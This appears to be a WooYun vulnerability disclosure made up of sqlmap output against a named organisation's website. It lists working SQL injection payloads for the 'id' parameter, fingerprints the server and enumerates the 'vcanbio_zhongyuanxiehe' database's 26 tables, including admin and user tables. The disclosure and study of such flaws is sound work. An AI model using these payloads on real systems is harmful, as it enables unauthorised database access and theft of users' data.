WooYun.org

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=18 AND 3025=3025
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cl
ause
Payload: id=18 AND (SELECT 8354 FROM(SELECT COUNT(*),CONCAT(0x716a7a6271,(SE
LECT (ELT(8354=8354,1))),0x717a6a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA
.CHARACTER_SETS GROUP BY x)a)
Type: stacked queries
Title: MySQL > 5.0.11 stacked queries (SELECT - comment)
Payload: id=18;(SELECT * FROM (SELECT(SLEEP(5)))mUBm)#
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: id=18 AND (SELECT * FROM (SELECT(SLEEP(5)))sDGl)
---
[20:38:43] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: MySQL 5.0
current database: 'vcanbio_zhongyuanxiehe'
Database: vcanbio_zhongyuanxiehe
[26 tables]
+-----------------------------+
| gsgzs |
| jos_search_reports_customer |
| jos_search_reports_para |
| njbglist |
| qdnj |
| qdqx |
| qnnj |
| qxnj |
| qznj |
| sqlmapoutput |
| t_academic |
| t_admin |
| t_annals |
| t_announcement |
| t_article |
| t_companyinfo |
| t_content |
| t_dashiji |
| t_log |
| t_medianews |
| t_message |
| t_news |
| t_staff |
| t_users |
| t_weblink |
| t_xiazai |
+-----------------------------+